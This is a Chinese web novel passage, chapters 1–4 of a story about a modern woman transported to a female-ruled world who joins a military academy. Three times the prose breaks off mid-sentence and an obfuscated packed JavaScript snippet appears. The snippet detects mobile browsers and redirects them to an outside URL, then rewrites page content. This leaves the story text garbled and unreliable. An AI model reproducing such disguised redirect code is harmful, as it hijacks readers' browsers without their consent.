《在女尊世界名垂青史》 1. 第 1 章 幽寂的森林里灌木丛生,茂密的树冠将天空遮挡得只剩稀疏的缝隙,惨淡的天光从枝叶间漏下,在布满青苔的石头上投下摇曳的光斑。除了偶尔从远处传来的几声鸟鸣,这座森林仿若一潭死水。 商茁扶着一棵枝干粗糙的大树,剧烈地喘息着。她原本是趁周末到景区爬山放松心情的,然而,一场山摇地动的震动突如其来……再睁眼,她就发现自己躺在了这片陌生的森林中,手机和背包全都消失不见。 作为一个不事生产的现代人,商茁根本辨认不出来森林里哪些植物可以食用。以防自己被毒死,商茁这两日滴水未沾,喉咙干得仿佛生吞了两把黄土一般,她的体能已经达到极限,眼前开始时不时的出现闪烁的黑斑。 救援队呢?这么大的事故,正常都要搜寻遇险人员吧?景区的这座山也不大,为什么一点动静也没有听到?这个念头一出,商茁顿时后背发凉,她不敢再深想下去。 腹中又是一阵绞痛般的痉挛。商茁用力按着胃部,苦中作乐地安慰自己,“宝贝儿再坚持下……出去就请你去吃烤肉自助,去市里最贵的那家!” 正当商茁抬头辨别方向时,左前方的灌木丛后突然出现一个模糊的黑色人影。 是人! 这个发现让商茁精神一振,她下意识地朝对面挥手呼喊:“喂——这里!救——” 求救声打破了森林里的宁静。然而,随着呼喊,商茁大脑中的氧气仿佛被瞬间抽空,她眼前一黑,重重摔倒在地。 灌木后的谢滴星听到有人呼救,抬眼望去,正好看到商茁晕倒的画面,他疾步跑了过来。看到地上躺着的是一位陌生女郎,顿时有些手足无措。 犹豫片刻,谢滴星还是向地上的女郎伸出了手。 …… 苦涩的药草味钻入鼻腔。 商茁眼皮颤动,缓缓睁开双眼。模糊的视野逐渐清晰,映入眼帘的是由榫卯结构的搭建的木质房梁。随着她的动作,身下的木制硬板床“吱呀”作响。 她慢慢地坐直了身子,可大脑仍是像坐了过山车一般,一阵阵眩晕在脑袋里面荡漾开来。 “呀!你醒啦!”一道清脆的童声响起。 商茁循声望去,只见一个约莫七八岁的小女孩,扎着两个圆圆的发髻,睁着大眼睛看着她。 还不等商茁开口,小女孩转身就朝门外跑去,边跑边喊:“师傅!师傅!那位女郎醒了!” 抬手间,商茁发现自己满是脏污的冲锋衣套装已经被换下,现在身上穿着是一套仿古的棉布衣裙,虽然简单,却干净舒适。 “我这是,在中医馆?”商茁的脑海浮现出淡淡的疑问。 门帘被掀开,一位身着青色襦裙、发髻挽得一丝不苟的中年女子走了进来。她眉眼温和,看到商茁微微一笑,“女郎感觉如何?可有何处不适?” 看到大夫的打扮,商茁的心里有种不好的预感,她舔了舔干涩的嘴唇,勉强开口,“我……还好,就是饿。大夫姐姐,能借您的手机打个电话吗?我想给家里报个平安。” 李大夫眼中掠过一丝困惑,她微微偏头,“手机?那是何物?女郎家住何处?需要寄信的话,我可以让徒弟代你走一趟。” 李大夫此言一出,商茁的心脏仿佛被一只无形的大手瞬间攥紧,刺骨的寒意从脊椎一路蔓延到头顶。 “我穿越了?!” 这个发现让商茁的脸上瞬间褪去血色,她手指无意识地攥紧了身上的薄被。 李大夫注意到她的异样,上前一步,手指自然地搭上她的腕脉。 片刻后,李大夫温声安抚道:“女郎脉象急数,似是惊惧过度。是有何为难之处吗?女郎尽管说出来,在下一定全力相助,更何况还有‘女子护持司’……” 商茁回过神,抽回自己的手,她垂下眼,避开了李大夫关切的目光,声音低哑,“多谢大夫,我……我只是想起些不好的事。” “女郎切勿思虑过重。”李大夫语气温和,“好好养好身子,健康的体魄是一切的根本。” 商茁深吸一口气,强迫自己冷静,声音带着不易察觉的颤抖,“大夫姐姐,我……突逢变故,许多事都记不起来了。敢问如今是何年号?此地又是何处?” 李大夫眼中怜悯更深,她为商茁检查身体时,发现她身上有多处磕碰造成的伤痕,没想到商茁竟还伤及头部,损伤失忆了。 她放缓声音,安慰道:“如今是明照三年,我们这儿是京城的一处医馆。在下医术尚可,女郎可以在这里安心养伤。” 明照三年。一个从未在历史课本上出现过的年号。商茁闭上眼,最后一丝侥幸也烟消云散。她不光穿越了,而且还穿到了一个完全陌生的时空,对未知的恐惧与对未来的迷茫,压得商茁快要喘不过气。 看着对面的李大夫,商茁忽的又想到一个非常现实的问题——她没有这个时代的银钱!如果现在被赶出医馆,身体虚弱的女性孤身一人流浪在外,不管在哪个时代都是一件非常恐怖的事! 商茁扯了扯唇,努力朝李大夫露出一个标准的笑容,声音嘶哑地说:“大夫姐姐,我眼下身无分文,暂时无法支付诊金和药费,但我会尽快去找活计,挣到钱立刻还您!呃……我,我会给您利息的!” 李大夫不在意地摆摆手,“女郎不必忧心,把你送过来的那位男郎已经给过药费了。你若是囊中羞涩,可以向‘女子护持司’申请援助……女郎这段时间好生休养着就是~”说完,便起身离去。 商茁看着李大夫离去的背影,心中的谜团越来越多,李大夫的话她听得一知半解。意思是没钱找“女子护持司”可以领到钱?古代女性的福利待遇有这么好吗?还有,“女子护持司”到底是干什么的? 还没等商茁想明白,那个名叫琦玉的小徒弟,端着一碗热气腾腾的粟米粥小心翼翼地走进来。粥熬得烂熟,米香扑鼻。 商茁担心琦玉被热粥烫到,连忙伸手接过来,结果自己却被烫得指尖发红。朝琦玉道过谢后,商茁对着勺子里的粥吹了吹,小口却急切地喝起来。温热的粥滑入胃袋,带来久违的暖意。 琦玉十分熟络地和商茁搭话,“我叫琦玉,师傅和师姐都叫我小琦。女郎怎么称呼?” 商茁轻笑道:“我叫商茁,草木茁壮的茁。你叫我茁姐就好。” “茁姐,”琦玉好奇地问道:“你怎么孤身一人晕倒在野外?要不是那个好心的男郎看到了你,遇到野兽就没命啦!” 商茁苦笑道:“我本来是想趁闲暇时去爬山散心的,不成想遭遇意外……” 琦玉一脸同情地看着她,“怪不得你身上那么多磕碰的痕迹,幸好性命无碍。” 两人说话间,一道清亮的女声呼唤着琦玉,“小琦!小琦!快来给病人抓药了!臭丫头,又跑哪里偷懒了!” 琦玉摸了摸鼻子,朝商茁尴尬地笑笑,“我师姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937318|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫我了,茁姐,我有空了再来找你玩儿哈~”说着,一溜烟儿地跑向医馆大堂。 之后的几日,商茁一边调养身体,一边观察着这个陌生的世界,想为自己找个安身立命的生计。 随着观察,商茁惊奇地发现,来医馆抓药、看病的大多数是女子,而且她们身旁往往会跟着一两个温柔贤惠的男人,负责打理琐事,照顾起居。 走街串巷做买卖的商贩都是女子,负责巡逻的的士兵也都是身姿挺拔、肌肉健硕的女子……而男子则是负责照顾一家老小,收拾家务。他们大多温顺贤淑,勤劳能干,将家里照顾得井井有条。 这是一个由女子主导的世界。 得出这个结论时,商茁呆住了,她如同梦游般回到房间,愣怔地坐在桌前。 良久,商茁无声地尖叫着,在屋子里兴奋地蹦跳着,觉得不过瘾,又在床上激动地翻滚。之前以为自己穿越到封建男权社会,她都认命了,没想到,自己穿到的竟是一个女子为尊的世界!!这比中五百万更让她开心!!! 之后的商茁一改往日的忧愁,每日都活力满满,积极配合李大夫调养。没过多久,身体就恢复的和往日无二。 在一个风和日丽的日子,商茁辞别了温润和善的李大夫和依依不舍的琦玉,走出了医馆大门,满心期待地踏入了这个全新的世界。明亮的阳光毫无保留地倾泻下来,为她照亮身前的路。 商茁走入熙熙攘攘的大街,目光所及,皆是女子。此时正值夏季,街上的女性大多都穿着轻薄、凉爽的袒胸装,毫不在意地裸露着自己的皮肤,偶有几个年轻男子路过,也只是羞红了脸,目光躲闪,不敢直视。 街道两旁的摊贩都是打扮利落干练的女性,她们声音洪亮,热情洋溢地叫卖着货物;不远处的铁匠铺内,肌肉虬结的女铁匠挥舞着沉重的铁锤,神情专注地敲打着面前烫红的铁块儿;远处茶楼里,几个文士模样的女子对着一幅画作谈笑风生,周围聚着一圈听热闹的人,频频点头…… 自由。 这是商茁唯一的感受。她闭眼深吸一口气,觉得空气里都带着一股轻盈的味道。 商茁漫无目的在街上闲逛,贪婪地看着眼前的景象,像一个迷失沙漠的旅人终于见到了清泉。 不知不觉走到街尾,一面巨大的告示墙下围着不少人。商茁走近,目光立刻被一张盖着鲜红官印的告示吸引。 【大朝军校招生启事】 上面清楚地写着:招收十八至二十四周岁成年女子,免束脩,供食宿,每月补贴一两白银。卒业考核合格者,奖励二百两白银,高等阈值者卒业即授武职官身! “高等阈值者”?又是一个看不懂的词,不过结合上下文,商茁猜测是成绩优异者的意思。总结下来就是,包吃住,免学费,发津贴,毕业包分配,还有巨额奖金和公务员编制? 商茁屏住呼吸,死死地盯着面前的告示。周围嘈杂的人声、车马声,仿佛全部静止。她的眼前只剩下那张盖着红色官印的告示,闪着金光冲她招手~ 她猛地转身,拔腿冲向城门口——告示上写的报名地点。 报名处前排着不长不短的队伍,都是些身形健壮、眼神明亮的年轻女子。商茁松了口气,放缓脚步,平复着呼吸走向队尾。 就在这时,一个神色匆忙的女子与她撞了个满怀。 “哎哟!” 对方惊呼一声,手中的包裹落到了地上。 2. 第 2 章 商茁下意识地道歉:“不好意思,不小心撞到你了,你没事吧?” 另一道低沉的女声和她的声音同时响起,“对不住、对不住,怪我没看路……” 双方目光相接,商茁发现自己一米七五的身高,在对方面前显得颇为娇小。 经过这些天的观察,商茁发现这个世界的女性平均身高差不多在一米七几左右,她本来觉得自己毫无违和感的。可眼前这位姐妹,身高怕不是要一米八五了,而且身形健硕、肌肉线条流畅,充满力量感,眉宇间自带一股飒爽之气。 商茁心里咯噔一下,这体格,放在她原先的世界,妥妥是那种走在路上让人主动避让的类型。她下意识地绷紧了神经,做好了对方或许会找事儿的准备。 然而,对方却再次诚恳地微微欠身,“妹子,实在对不住,我着急赶路,没有注意到你。” 商茁一愣。在她的认知里,体格占据优势的一方,往往在无意的冲突中带着某种无形的“豁免权”,鲜少见到如此郑重其事的道歉。对方良好的态度,让商茁紧绷的肩膀悄然放松,她弯了弯眼睛,和善地回道:“没关系,我也走神了。” 见商茁确实没有介怀,高个女子明显松了口气,她咧嘴一笑,露出一口白牙,“那就好!我叫赵国安,国家的国,安心的安。我娘说,盼着国泰民安才给我起这名字。妹子怎么称呼?” “好名字,寓意深远。”商茁赞道,“我叫商茁,草木茁壮的茁。”她顿了顿,声音轻了些,“名字是我自己取的,希望自己能像大树一样生机勃勃。” 赵国安敏锐地捕捉到她话音里那瞬间的低落,又听得是自取名,心中已然勾勒出一段孤苦身世。她本不擅言辞,可此刻却觉得不能沉默,便用力地拍着商茁的肩膀,笨拙地安慰道:“这名字起得真好!咱们以后就是同窗了,军校里大家同吃同住同训练,跟一家人没两样!往后有啥事,尽管开口!” 这话说得直白又朴实,可对方话里的真诚与温暖,像一块厚实的毯子,将商茁暖暖地裹住。商茁看着赵国安毫不作伪的赤诚眼神,因想起过往而涌上来的冷意,都被驱散了几分。她鼻尖微酸,笑容真诚地说:“那就先谢过国安姐了。” 两人说话间,队伍已向前挪动不少。很快轮到赵国安进去检测。流程简单却严格:量身高体格,查有无明显残疾,最后由医官把脉,探问是否患有隐疾。赵国安身体高挑健壮,自然顺利通过。可让商茁不解的是,把脉时,医官还问了赵国安的“阈值”等级。商茁听得一头雾水,“阈值”明显不是她理解的意思,这东西到底是什么? 商茁检查时,已经通过检查的赵国安拿到铭牌却没有走,反而站到一旁默默地等着商茁。 前几项检查都很顺利,到了把脉这里商茁则有些担心,她根本不是这个世界的人,也不知道她们所谓的“阈值”是什么,更不知道自己有没有……万一医官把脉时发现她没有“阈值”,会不会把她当成妖怪给抓起来?! 斜对面的赵国安看到商茁紧张的神色后,冲她挤眉弄眼,用口型给她鼓劲:“别——怕!你——肯定——能行!” 看到赵国安有些滑稽的动作,商茁朝她扯了扯唇,动作僵硬地抬手伸向医官面前,忐忑地等待着医官的宣判。 “你阈值是什么等级?” 听到医官朝自己问了同样的问题,商茁咽了咽口水,按照赵国安的答案回复道:“中等。” 听到她的回答,医官抬起眼皮朝她看了过来,商茁努力保持镇定,调整着自己的呼吸,可额头滑落的汗滴还是出卖了她慌乱的内心。 片刻后,医官疑惑地开口:“不对啊!” 闻言,商茁的身体紧绷,瞳孔猛地一缩,她不动声色地看向左前方——人最少的地方,她腿部肌肉已经收紧,做好随时逃跑的准备。 “商女郎,你身体挺康健的啊,怎么会出这么多虚汗?我没探出有什么隐疾啊~”医官摸着下巴不解道。 医官说话的瞬间,商茁浑身的肌肉猛地一紧,之后又悄然放松下来。她干巴巴地解释道:“哈、哈,晒了一会儿,有些热了……” 医官抬眼望了望天,“是吗?可能我一直坐在树荫下,没感觉到。去领铭牌吧~”说着,医官朝她摆摆手,又示意下一位过来检查。 通过检查后,商茁如释重负地走到登记桌前,对负责登记的教官恭敬道:“教官好,学生商茁,来领取铭牌。” 教官笑眯眯地看了她一眼,“不错,年轻人一看就是学武的好苗子。”说着,拿笔蘸上特制的墨水,龙飞凤舞地写上“商茁”二字和她的学号。 墨迹干透,教官将木牌递给商茁,神色郑重肃然道:“商茁同学,大朝军校欢迎你。愿你在此勤学苦练,明心砺志。她日学有所成,当以一身本领,保家卫国。须知,力量生于躯体,更当存于正道之心。” 商茁双手接过那尚带着木香与墨味的牌子,入手光滑微凉,却颇有分量。她将铭牌握在手中,神色认真地答道:“学生谨记。” 见商茁走过来,赵国安立刻凑上前,好奇的目光在商茁脸上扫了扫,终究没忍住,小声问:“阿茁,刚才听教官说你比我大,真的假的?” 商茁一怔,随即失笑,大大方方承认:“是啊,我今年二十有二了~怎么,不想要‘妹妹’了?” “那不能!”赵国安一挥手,浑不在意,“咱大女子一言九鼎!说了是妹妹就是妹妹!走走走,领东西去,晚了合身的该让人挑完了!” 两人按照指引来到校场一侧的物资发放处,队伍果然已排成长龙。许多通过检测的新生正急匆匆赶来。 商茁踮脚望了望前方堆积如山的物资,好奇道:“国安姐,你知道都发些什么吗?” 赵国安努力回想邻居家那位已卒业姐姐的话,“嗯…好像有两套训练服,鞋袜,铺盖卷,脸盆、牙具……哦,还有月经垫。” “月经垫?”商茁下意识重复,声音里有一丝难以察觉的颤动。 “对啊,”赵国安随口道,有些不解地看她,“这东西平时不也是免费发放的嘛~况且,咱们每月都要用到,学校不发的话,咱们还要跑到城内去领,多麻烦!” 商茁没有再说话,只是轻轻“嗯”了一声,垂下了眼。在她原来的世界,那个科技发达、拥有高度文明的时代,可就连女性愿意自费在高铁上购买卫生巾的事情,都会引来腥风血雨的谩骂攻击。 关于女性这项最基本的需求,曾引发过多少争论与辱骂,甚至变成某种难以言说的羞耻与不便。而在这里,它被如此平常地提及,列为女性的基础保障的一部分,无需解释,无需额外申请。甚至大家提起它,就像呼吸一样自然。 队伍缓缓前移。轮到商茁时,负责发放的老师利落地将一套套物品推过来:轻便结实的训练服,布袜布鞋,捆扎整齐的被褥、木盆、牙具、巾子,以及……两包用油纸妥帖包好的、方方正正的月经垫。 商茁默默接过,将东西抱了满怀,沉甸甸的。 两人抱着物资找到分配的宿舍。推门进去就是一排靠墙的大通铺,但巧妙地用砖砌出了几道矮矮的隔离带,彼此隔开,私密性好了许多。每人床前还有一张小木桌和一个带锁的小立柜。窗户敞亮,地面干净。 赵国安对住宿条件颇为满意,“比我想的强多啦!我还以为得睡大通铺呢!” 商茁朝四周打量了一圈,也满意地点点头。 就在两人收拾床铺时,宿舍门被再次推开了。 又有两位舍友到了。一位个头比商茁低些,笑容爽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937319|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利,自我介绍叫程玉;另一位则让商茁多看了一眼——她理着近乎贴头皮的短发,眉眼疏淡,名叫丁满,话很少,只是向众人点头致意。 互相认识后,程玉朝舍友们看了一圈,笑道:“剩下的两个室友不知道剪头发了没,明天集训,那些还舍不得头发的,估计就有的受了~” 赵国安一听来了劲,带着促狭的笑意,“我听邻居阿姐说,每年都会有几个不愿意剪头发的刺头,到时候就要被教官亲自理发!嘿嘿,教官的‘狗啃头’手艺不知道有提升没~” 商茁下意识摸了摸自己的及耳短发。在医馆的时候,商茁见到的女性基本都是高马尾或者类似现代的丸子头,她虽一头及耳短发,却也没有人询问或者指责她,商茁还以为是大家的包容度高。原来是这里早就有短发发型了。 一旁的程玉看到商茁的动作,打趣道:“怎地?还在怀念自己的头发呢?” 商茁笑了笑,“这倒没有,就是好奇为什么一定要我们剪短发?” 程玉看着自己神情懵懂的舍友,嗤笑一声,“你以为军校发放这么多的物资,每月还给你发着补贴,是白给你的?有战时,咱们可是要上战场的!战场上哪儿来的时间给你梳头、洗头,索性就一剪了之……” 赵国安在一旁补充道:“也是为了我们的安全着想~你想想万一正在战场上杀敌的时候,你头发开了,糊了一脸,那不就危险了嘛……”说着,赵国安模仿了下正在拔刀时,被头发糊一脸的场景。 宿舍里的几人都被她逗得哈哈大笑。 …… 翌日拂晓,一道尖锐的哨鸣声打破了宁静。 一道炸雷般的高喝在宿舍楼前响起,“所有人,半柱香内到校场集合!迟到者,罚跑十圈!” 商茁本就睡眠浅,几乎是瞬间惊醒,在黑暗中快速将衣物穿好后,她摸黑找到了油灯。点燃后,商茁发现丁满也早已穿戴整齐,两人对视一眼,丁满无声地开门冲下楼去。 程玉和宋家姐妹也火速起身。一片混乱中,只有赵国安的铺位还传来阵阵鼾声。商茁快步过去,一把掀开赵国安的被子,在她耳边低喝:“赵国安,快起来!走水了!!” 赵国安如遭电击般弹起,“走水了?!!哪里?在哪里?!” 商茁把衣服递给她,催促道:“快点,教官刚才说让半柱香内到校场集合,迟到罚十圈!” 赵国安手忙脚乱地往身上套衣服,“阿茁你先走,不用等我!” 商茁不语,只是站在一旁帮她递着衣物。在赵国安提上鞋子的瞬间,两人便如离了弦的箭一样,朝校场飞快奔去。 在教官即将落下的“时辰到”尾音中,两人险险踏入了集合区域。她们身后,几名迟到的学生已被面无表情的教官拦下,指向了北边的跑道。 站进队列,商茁双手撑着膝盖,喘得如同破风箱一样。“阿茁,你没事吧?”赵国安担忧地侧头。商茁摆摆手,连回话的力气都挤不出,反观一旁的赵国安,刚跑完八百米冲刺竟然还能面色如常。 商茁缓了一会儿,呼吸平稳些后,朝四周望去,其他同学虽也有面泛红潮的,但却无人像她这般狼狈不堪,仿佛肺叶都要炸开。 这里的女性,基础体能似乎异常强悍。 “二班,列队。”一道冷肃如铁的声音从侧前方传来。 商茁抬头,双目微微睁大。只见一个身着黑色劲装的女教官屹立在晨雾中,如同一头蓄势待发的猎豹。 赵国安已经是她见过身高最高的女性了,可这个教官比赵国安还高!她肩背宽阔,衣服下显出一身流畅的肌肉线条,彰显着强悍的气势;最让人心悸的是她那双眼睛,冰冷锐利,带着肉食动物的威慑力。 忽然,那道目光定格在了商茁脸上。 3. 第 3 章 商茁心里一紧,意识到自己的目光在对方身上停留太久了。她朝教官露出一个干巴巴的笑容,然后在教官冰冷的视线里灰溜溜地收回目光。 “傅世嘉,我的名字。”黑衣教官开口,声音没有半点起伏,“从今天起,是你们的教官。我的规矩很简单:令行禁止,违者严惩。” 说罢,她开始点名,目光在每个答到的学生脸上停留一瞬。点到“云煜”时,她顿了顿。 “出列。” 一名女生应声走出,垂在胸前的长辫随着动作轻摆。 傅教官的眼神落在她的辫子上,声音冷冽,“你是现在剪,还是现在退学?” 云煜蹙起精致的眉,语气带着天生的倨傲:“傅大人,家母乃定国侯。我来此只是历练一番,日后也并不需要上战场挣军功,这头发……” “我只问,剪,还是退学?”傅教官毫不客气地打断,“在此地,只有军规,没有‘云家’、‘李家’。便是皇女,违令同惩!” 如此不留情面的当众斥责,让云煜的脸瞬间涨红。“傅世嘉!你不过区区一个五品千户,竟敢当众训斥我!信不信我明日就让你……” 傅教官收回目光,无视云煜接着点名,确认自己班里的学生都到齐了。她抬手指向东侧操场,“全体学员,五圈热身,开始。” 命令下达,无人敢再耽搁。队伍开始移动。云煜僵在原地,不敢相信自己就这样被无视了。她瞪着傅教官的背影,嘴唇颤抖,最终狠狠一跺脚,扭头离开了校场。 五圈,每圈足有六百余米。商茁跑到最后,眼前阵阵发黑,满口腥甜的铁锈味儿,双腿如灌铅般沉重,全靠意志支撑。结束时,她几乎瘫软,被赵国安一把扶住。 程玉看到后,跑过来。看商茁这副累瘫了的模样,不禁咂舌,“商茁,你该不会是哪家养尊处优的小女君吧?五圈都能累成这样?” 商茁连苦笑的力气都没了,只能嘶哑道:“要是真的就好了。” 傅教官走了过来。看着商茁惨白的脸,蹙眉道:“身体不适?” 商茁努力站直身体,咬牙回答:“回禀教官,我没事。” 傅教官目光锐利地看了她两秒,似乎看穿了她强撑的伪装,但最终没说什么,只淡淡道:“今天课后到‘勇武楼’找我。”说完便转身离开。 教官未尽之言让商茁有些不安,她试探地向两个室友问道:“咱们学校有跟不上训练被劝退的学生吗?” 赵国安不确定地答道:“没有吧?” 程玉伸手扶额,一脸不忍直视,“之前也没听说过有人跑五圈都能喘成个风箱啊!” 闻言,商茁一脸绝望。 赵国安本想上前安慰她几句,却被程玉挤到一旁。程玉一脸神秘地对商茁说:“阿茁,去找教官的时候,什么都不要说,到那儿就对着教官哭!哭得她都看不下去了,你就诉苦!说从小家里穷,没有吃过饱饭,导致现在身体虚弱……总之怎么惨就怎么说!” 程玉洋洋自得地说:“就算教官再硬的心肠,听到后也不忍心赶你走了,这一招我从小到大百试百灵!一般人我都不告诉!” 赵国安却不赞成,“我们大女人顶天立地,哭哭啼啼的成何体统?!不行,这招不行!你让阿茁以后的脸往哪放!” 程玉嗤笑一声,“面子值几个钱!不行就让商茁死守你口中的面子被劝退好了。” 赵国安看了眼商茁,有些犹豫,但还是坚持道:“阿茁,你先别着急,我们再想想办法,教官不一定是要劝退你。” 程玉:“你还有什么办法?哦,确实还有个办法,就是让商茁的阈值突然变成高等,不过这更是痴人说梦。” 听到“阈值”二字,商茁一愣,又是这个“阈值”!这到底是什么啊?!怎么什么都能扯到它? “嘟—嘟—”,傅教官通知集合的声音响起,三人匆匆结束了聊天,连忙往傅教官那里跑去。 直至太阳升起,繁重的训练这才结束。商茁整个人仿佛从水里爬出来一般,从头到脚全身都湿透了。她脸颊通红,粗粗地喘着气,要不是一直死死地咬牙坚持,她早就晕倒在地了。 傅教官看着队尾的商茁,神情有些动容,训练的时候,她一直有留意着商茁,好几次她都以为商茁要晕倒了,可她却只是缓了一会儿,便又继续跟着训练。这份坚持,让她想到了一位故友。 …… 所有队伍集合完毕,被一起带至校场边一排平房前。还没走进,就能嗅到弥漫在空气中的浓重苦涩的中药味儿。 一名教官站在门口,高声宣布:“按序领取‘训后汤’,领取即饮,不得私藏,空杯置于筐内。” 商茁此时满脑袋的问号,也没听说过军校生还要喝中药啊?随便喝药真的不会出问题吗?自己进的是正规军校吗? 队伍的速度很快,不一会儿就轮到了商茁,她也只好硬着头皮走进了房间,和其他人一样,端起桌上装着黑乎乎药汤的杯子,一饮而尽。就在商茁准备离开时,一缕奇异的温热感,自胃部隐隐扩散至四肢百骸,方才跑步带来的极度疲惫似乎被这暖流抚平了一丝。 “这……到底是什么药?”商茁有些怀疑这药的成分。 待到赵国安出来时,商茁将心中的疑惑问了出来,“国安姐,这‘训后汤’究竟是什么东西?我们为什么要喝这个?” “当然是好东西!”赵国安大大咧咧地说:“这个不就是咱们从小一直喝的‘女药’嘛,强身健体、预防生病。”说着,又咂巴了下嘴,“感觉这个味儿更浓呢~” 赵国安用胳膊捅了捅身旁的商茁,“阿茁,你觉得呢?” 又是一个陌生的知识点,商茁用“万金油”回答给糊弄了过去。“呃,感觉都差不多,哈哈哈。” 两人在去饭堂的路上,商茁不经意地问道:“国安姐,你听说过有人吃‘女药’出现不良症状的吗?毕竟每个人的体质都有所不同……” 赵国安:“没有啊。这是补药,又不是毒药,吃不死……”正说着,赵国安仿佛想到了什么,她抬眼看了看四周,突然压低了声音,“我小的时候听村里的王大爷说,我们村赵老五她弟弟家,之前是有个儿子的,那个男娃当时嘴馋,非得吃他姐的‘女药’,结果,你猜怎么着——药是上午喝的,人是下午没的……” 说完,赵国安有些唏嘘,“这对母父也真是太溺爱儿子了,纵得他无法无天,连‘女药’都敢偷吃!这可是圣祖皇帝专门命天下神医齐聚,专门给女郎们研制的!都说了男的不能吃,非得尝尝……怎就真么馋!这下可好,直接把命给馋丟了……你说说,这些男娃们咋就一个个都真么馋!阿英姐她弟也是特别馋!谁敢在他面前吃点什么,那口水都能流成河!” 商茁没太仔细听赵国安后边的碎碎念,得知“女药”是皇帝专门命人研制的,她就放心了。 “女药”是否真的会毒死男人,尚且未知。但“女药”对女性身体有益,这是毋庸置疑的,这个世界女性普遍强健的体魄,就是最好的证明。 …… 空闲时,商茁按照傅教官的吩咐,来到了她的书房。只见门开着,里面的傅教官正低着头不知在写什么。 “登登” 商茁伸手敲了敲门,傅教官闻声抬头看了过来,看到是她后,傅教官放下笔,“进来。” 商茁走到傅教官桌前,有些紧张地开口:“教官,您找我来是有什么事吗?” 傅世嘉看着眼前这个有些瘦弱的女孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937320|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,她脸色苍白,嘴唇是没什么血色的浅粉色,整个人一副气血不足的样子,可偏偏她的眼睛又格外明亮,充满着生机勃勃的光。 半晌,傅世嘉斟酌着说:“朝晨训练时,我观你训练好像格外吃力,你身体是不是……” 商茁生怕教官说她身体不好,让她回家去,连忙开口保证道:“教官,我平时是有些缺乏锻炼,但我保证,课下会加倍练习,努力跟上大家的训练进度的!” 傅世嘉摇了摇头,有些无奈地说:“我看到了,你训练时并没有偷懒,也很积极……但身体亏空不是你努力训练就能弥补的。我给你申请了‘女药’补助。回去后去医馆找冯医官,把这个给她,她就明白了。”说着,把一张盖有学校官印的条子递给商茁。 商茁愣住了,这会儿才明白教官让她过来,不是为了劝退她,而是为了给她“贫困生补贴”。商茁同手同脚地上前接过教官手里的条子。一张轻飘飘的纸张,拿在手里仿佛有万斤重。 和赵国安的交谈中,商茁已经明白了“女药”的珍贵。这个世界的女性,每月也只能领到一份,而且所有人都只能领取到十六周岁。就算是军校的“训后汤”,依然是每月一份。 商茁看着手中这张写着“每日一份,为期三个月”的特例批复,深知它的贵重,明白要得到它并不像傅教官表现得那般容易。商茁强忍眼中的泪意,带着浓浓的鼻音,向傅教官诚恳道谢,“谢谢教官,我……我以后一定刻苦训练,不辜负教官的栽培!” 傅世嘉轻声道:“你该感谢的不是我,而是陛下和国家,没有陛下的支持和国家的供养,我就算想帮也帮不了。只盼你日后能铭记陛下的栽培和国家的养育,忠君爱国,不负今日这份触动。” 商茁重重地点了点头,声音哽咽地说:“我会的!” 傅世嘉摆摆手,“回去吧。” 商茁朝教官深深地鞠了一躬,然后行礼告退。 傅世嘉看着商茁离去的背影,轻轻地叹了口气,与其他女孩相比,这个女孩子好像格外不同,她的身上好像总是带着一层警觉和戒备,可却有一颗异常细腻柔软的内心。她总是十分守礼,以至于看起来都有些怯弱,仿佛生怕触怒到了谁……傅世嘉想不出是怎样的家庭才会养出这样的女孩,柔顺到都不像一个女孩了。 …… 经过一个月的刻苦训练和女药滋补,商茁整个人仿佛脱胎换骨,她的四肢不再绵软无力,也不会因为跑了五圈就气喘吁吁。她现在能轻松跟上大家的训练,甚至和赵国安的对打中,有来有回。而且最让商茁惊喜的是——她好像突然变得力大无穷! 商茁不确定自己是从什么时候有用这么大力气的,只记得在一次宿舍掰手腕中,她异常轻松地掰赢了其他五位室友,大家还以为她以前都是故意藏拙…… 为了搞清楚自己现在力气多大,商茁趁没人的时候,独自来到学校的竹林,试探着搬了搬里面的石碑,没想到她竟然搬动了!!要知道那块石碑可有两百公斤左右啊!! 事后商茁猜测,除了“女药”的作用,她有种说不清的感觉,自己的身体经过慢慢地适应后,已经彻底融入到了这个世界,所以进化了和这个世界匹配的体质?不管具体是什么原因,这一改变还是让商茁很开心的。绝对的武力,给了她自信的底气。 这日是每周两节的乐理课。快上课时,许久不见的云煜脸色阴沉地走进教室,坐在前排的商茁目光下意识落在她的头上——那条乌黑油亮的辫子已经被剪掉了,现在云煜和她们一样,是一头利索的短发。 云煜朝教室内扫视了一圈,发现没有空余的位置,她的目光从众人身上扫过,落到了商茁的身上。 “你,起来。”云煜朝商茁扬了扬下巴。 4. 第 4 章 